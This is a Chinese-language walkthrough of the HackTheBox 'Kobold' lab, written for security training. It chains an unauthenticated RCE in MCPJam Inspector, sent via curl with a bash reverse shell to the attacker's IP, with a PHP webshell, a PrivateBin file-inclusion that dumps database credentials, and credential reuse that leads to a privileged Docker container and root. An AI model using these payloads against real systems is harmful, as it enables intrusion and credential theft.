HackTheBox Kobold 靶机:通过 MCPJam Inspector 实现 RCE 的完整攻略
HackTheBox Kobold(第 10 季,简单难度)突显了 AI/ML 生态系统中暴露的开发工具带来的现实威胁。主要攻击向量是 MCPJam Inspector v1.4.2(GHSA-232v-j27c-5pp6)中的未认证 RCE。这导致通过 Docker 卷和凭据重用的连锁攻击,最终获得 root 权限。本分析面向中高级 DevSecOps 专业人员。
Nmap 扫描显示端口 22(SSH)、80/443(nginx,kobold.htb)和 3552(Arcane 仪表板)。关键是 SSL 中的通配符 *.kobold.htb 和子域名 mcp.kobold.htb,后者暴露了 MCPJam Inspector。
侦察与枚举
标准 nmap 扫描:
nmap -p- -sC -sV -oN recon/nmap/full.txt <目标 IP>
| 端口 | 服务 | 版本 | 备注 |
|------|---------|---------|-------|
| 22 | SSH | OpenSSH 9.6p1 | 无 CVE |
| 80 | HTTP | nginx 1.24.0 | 重定向到 HTTPS |
| 443 | HTTPS | nginx 1.24.0 | kobold.htb |
| 3552 | HTTP | - | Arcane 仪表板 |
使用 ffuf 进行虚拟主机枚举:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154
发现 mcp.kobold.htb — MCPJam Inspector v1.4.2。完全访问权限:服务器、聊天、应用构建器,无需登录。连接到 Ollama。
模型上下文协议(MCP) — 一种将 AI 模型与外部工具集成的协议。Inspector 监听 0.0.0.0,API /api/mcp/connect 接受未经验证的 serverConfig.command。
立足点:MCPJam 中的 RCE
监听器设置:
nc -lvnp 4444
有效载荷:
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<您的 IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'
获得 ben 的 shell(uid=1001,组=ben,operator)。稳定化:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm
用户标志:/home/ben/user.txt。
内部侦察
id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
cat /etc/group | grep docker
# docker:x:111:alice
具有 shell 的用户:root、ben、alice。ben — operator 组,alice — docker 组。
ss -tlnp 显示 localhost:8080(PrivateBin Docker)、6274(MCPJam)。Nginx 配置显示 bin.kobold.htb → localhost:8080。
operator 组对 /privatebin-data/ 具有读写权限 — 这是一个共享的 Docker 卷。
find / -group operator 2>/dev/null
通过卷在 PrivateBin 中实现 LFI
PrivateBin 2.0.2(CVE-2025-64714,GHSA-g2j9-g8r5-rg82)。当 templateselection = true 时,通过 cookie template 实现 LFI。
- 在卷中创建 webshell:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
- 执行:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=id"
- 转储 conf.php:
curl -k https://bin.kobold.htb/ \
-b "template=../data/pwn" \
-G --data-urlencode "cmd=cat /srv/cfg/conf.php"
MySQL 凭据:用户名 privatebin,密码泄露。
权限提升:凭据重用
检查清单:
- SSH(alice/ben/root + 泄露的密码)
- su alice/root
- Arcane:arcane/arcane-admin + 泄露的密码
成功:在 :3552 上的 Arcane v1.13.0 中使用 arcane / <泄露的密码>。
在仪表板中,完全控制 Docker。创建一个具有特权挂载 /host 的容器 → root shell。
关键要点:
- 暴露的 MCP 工具(GHSA-232v-j27c-5pp6)— AI 基础设施中的新 RCE 向量
- 共享 Docker 卷 + operator 组 = 主机文件系统访问
- 凭据重用:默认用户名 + 泄露的密码
- 通过可写卷的 LFI 链绕过容器隔离
- 始终枚举通配符子域名和内部服务
— Editorial Team
暂无评论。